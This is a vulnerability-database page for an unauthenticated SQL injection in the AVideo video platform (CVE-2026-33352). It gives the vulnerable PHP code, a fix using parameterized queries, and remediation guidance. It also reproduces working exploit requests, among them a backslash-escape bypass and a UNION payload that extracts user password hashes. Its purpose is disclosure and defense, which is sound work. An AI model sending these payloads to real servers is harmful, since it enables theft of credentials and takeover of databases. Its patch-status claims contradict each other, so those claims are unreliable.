Skip to main content

PHP CVE-2026-33352

| EUVDEUVD-2026-14013 CRITICAL
SQL Injection (CWE-89)
9.8
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send HTTP request with backslash-escaped doNotShowCats parameter
  2. Exploit
    Bypass single-quote stripping via escape sequence
  3. Execution
    Inject arbitrary SQL into getAllCategories() query
  4. Impact
    Extract sensitive database records or modify data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Persistence

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions — remote unauthenticated SQL injection against default installations. The vulnerable getAllCategories() method in objects/category.php processes the doNotShowCats request parameter without proper sanitization, allowing attackers to bypass weak single-quote filtering using backslash escape techniques.

Impact

This vulnerability presents a critical real-world risk with a CVSS score of 9.8, reflecting network-accessible (AV:N), low complexity (AC:L), no privileges required (PR:N), and no user interaction needed (UI:N) attack characteristics. The high impact across confidentiality, integrity, and availability (C:H/I:H/A:H) indicates complete system compromise potential. While not currently listed in CISA KEV as actively exploited, the public availability of detailed exploitation techniques in the GitHub advisory significantly increases risk. The vulnerability is highly automatable given the simple HTTP request manipulation required, and the technical impact enables full database compromise. This represents a genuine high-priority issue requiring immediate remediation rather than a theoretical high-CVSS vulnerability.

Exploit ScenarioDerived

An attacker identifies an AVideo installation and sends a crafted HTTP GET request to categories.json.php with malicious doNotShowCats array parameters containing backslash escape sequences. The backslash in the first array element escapes the closing quote added by the application's implode() function, allowing the second array element to contain executable SQL that extracts user passwords or modifies administrative privileges. Given the network accessibility and lack of authentication requirements, this attack could be automated to scan for and compromise vulnerable AVideo instances across the internet.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 10.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 19, 2026

An unauthenticated SQL injection vulnerability in AVideo allows remote attackers to execute arbitrary SQL queries through the doNotShowCats parameter in the getAllCategories() method. The vulnerability bypasses quote-stripping sanitization using backslash escape techniques, enabling attackers to extract sensitive data including user credentials, modify database contents, or potentially achieve remote code execution. No active exploitation has been reported in KEV, but proof-of-concept exploitation details are publicly available in the GitHub advisory.

RemediationAI

Apply the vendor-provided patch that implements parameterized queries or proper input escaping for the doNotShowCats parameter. The fix involves replacing string concatenation with prepared statements using placeholders and bind parameters. As an immediate workaround until patching is possible, implement a Web Application Firewall (WAF) rule to block requests containing backslash characters in the doNotShowCats parameter, and restrict access to the affected endpoints to trusted IP ranges only. Monitor the vendor advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-mcj5-6qr4-95fj for patch availability and additional guidance.

Affected VersionsENISA

Canto * ≤3.1.1
AVideo < 26.0

Affected Packages

composer wwbn/avideo no fix
euvd avideo fix: 26.0
euvd canto no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability affects the AVideo video sharing platform (CPE: pkg:composer/wwbn_avideo) in the objects/category.php file. This is a classic SQL injection vulnerability (CWE-89) where user input is concatenated directly into SQL queries after insufficient sanitization that only removes single quotes but fails to handle backslash escape characters. In MySQL's default configuration, backslashes act as escape characters within string literals, allowing attackers to manipulate string boundaries and inject malicious SQL. The doNotShowCats parameter is not covered by any of the application's global security filters, making it particularly exposed to exploitation.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Mar 19, 2026 - 19:25 nvd
CRITICAL 9.8

DescriptionGitHub Advisory

Summary

An unauthenticated SQL injection vulnerability exists in objects/category.php in the getAllCategories() method. The doNotShowCats request parameter is sanitized only by stripping single-quote characters (str_replace("'", '', ...)), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in objects/security.php.

Affected Component

File: objects/category.php, lines 386-394, inside method getAllCategories()

php
if (!empty($_REQUEST['doNotShowCats'])) {
    $doNotShowCats = $_REQUEST['doNotShowCats'];
    if (!is_array($_REQUEST['doNotShowCats'])) {
        $doNotShowCats = array($_REQUEST['doNotShowCats']);
    }
    foreach ($doNotShowCats as $key => $value) {
        $doNotShowCats[$key] = str_replace("'", '', $value);  // INSUFFICIENT
    }
    $sql .= " AND (c.clean_name NOT IN ('" . implode("', '", $doNotShowCats) . "') )";
}

Root Cause

  1. Incomplete sanitization: The only defense is str_replace("'", '', $value), which strips single-quote characters. It does not strip backslashes (\).
  2. No global filter coverage: The doNotShowCats parameter is absent from every filter list in objects/security.php ($securityFilter, $securityFilterInt, $securityRemoveSingleQuotes, $securityRemoveNonChars, $securityRemoveNonCharsStrict, $filterURL, and the _id suffix pattern).
  3. Direct string concatenation into SQL: The filtered values are concatenated into the SQL query via implode() instead of using parameterized queries.

Exploitation

MySQL, by default, treats the backslash (\) as an escape character inside string literals (unless NO_BACKSLASH_ESCAPES SQL mode is enabled, which is uncommon). This allows a backslash in one array element to escape the closing single-quote that implode() adds, shifting the string boundary and turning the next array element into executable SQL.

Step-by-step:

  1. The attacker sends:
   GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=)%20OR%201=1)--%20-
  1. After str_replace("'", '', ...), values are unchanged (no single quotes to strip):
  • Element 0: \
  • Element 1: ) OR 1=1)-- -
  1. After implode("', '", ...), the concatenated string is:
   \', ') OR 1=1)-- -
  1. The full SQL becomes:
sql
   AND (c.clean_name NOT IN ('\', ') OR 1=1)-- -') )
  1. MySQL parses this as:
  • '\' - the \ escapes the next ', making it a literal quote character inside the string. The string continues.
  • , ' - the comma and space are part of the string. The next ' (which was the opening quote of element 1) closes the string.
  • String value = ', (three characters: quote, comma, space)
  • ) OR 1=1) - executable SQL. The first ) closes NOT IN (, the second ) closes the outer AND (.
  • -- - - SQL comment, discards the remainder ') )

Effective SQL:

sql
   AND (c.clean_name NOT IN (', ') OR 1=1)

This always evaluates to TRUE.

For data extraction (UNION-based):

GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=))%20UNION%20SELECT%201,user,password,4,5,6,7,8,9,10,11,12,13,14%20FROM%20users--%20-

Produces:

sql
AND (c.clean_name NOT IN ('\', ')) UNION SELECT 1,user,password,4,5,6,7,8,9,10,11,12,13,14 FROM users-- -') )

This appends a UNION query that extracts usernames and password hashes from the users table. The attacker must match the column count of the original SELECT (determinable through iterative probing).

Impact

  • Confidentiality: Full read access to the entire database, including user credentials, emails, private video metadata, API secrets, and plugin configuration.
  • Integrity: Ability to modify or delete any data in the database via stacked queries or subqueries (e.g., UPDATE users SET isAdmin=1).
  • Availability: Ability to drop tables or corrupt data.
  • Potential RCE: On MySQL configurations that allow SELECT ... INTO OUTFILE, the attacker could write a PHP web shell to the server's document root.

Suggested Fix

Replace the string concatenation with parameterized queries:

php
if (!empty($_REQUEST['doNotShowCats'])) {
    $doNotShowCats = $_REQUEST['doNotShowCats'];
    if (!is_array($doNotShowCats)) {
        $doNotShowCats = array($doNotShowCats);
    }
    $placeholders = array_fill(0, count($doNotShowCats), '?');
    $formats = str_repeat('s', count($doNotShowCats));
    $sql .= " AND (c.clean_name NOT IN (" . implode(',', $placeholders) . ") )";
    // Pass $formats and $doNotShowCats to sqlDAL::readSql() as bind parameters
}

Alternatively, use $global['mysqli']->real_escape_string() on each value as a minimum fix, though parameterized queries are strongly preferred.

Executive ViewAI

Why It Matters

A critical SQL injection vulnerability in the category filtering feature allows unauthenticated attackers to execute arbitrary database queries, potentially exposing, modifying, or deleting sensitive data. This vulnerability affects all users of the application and requires immediate remediation since no vendor patch is currently available.

Business Impact: Severe
Compensating Controls

Implement Web Application Firewall (WAF) rules to block requests containing SQL metacharacters and escape sequences in the doNotShowCats parameter; restrict application access to authorized networks only using network segmentation; disable the category filtering feature if not business-critical; implement database-level access controls to limit query scope; enable and monitor database activity logging for suspicious queries; apply input validation using parameterized queries as permanent fix (not WAF-dependent).

Threat Intelligence Overview

EPSS Score
10.0%
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 10.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

59
Low Medium High Critical
KEV: 0
EPSS: +10
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy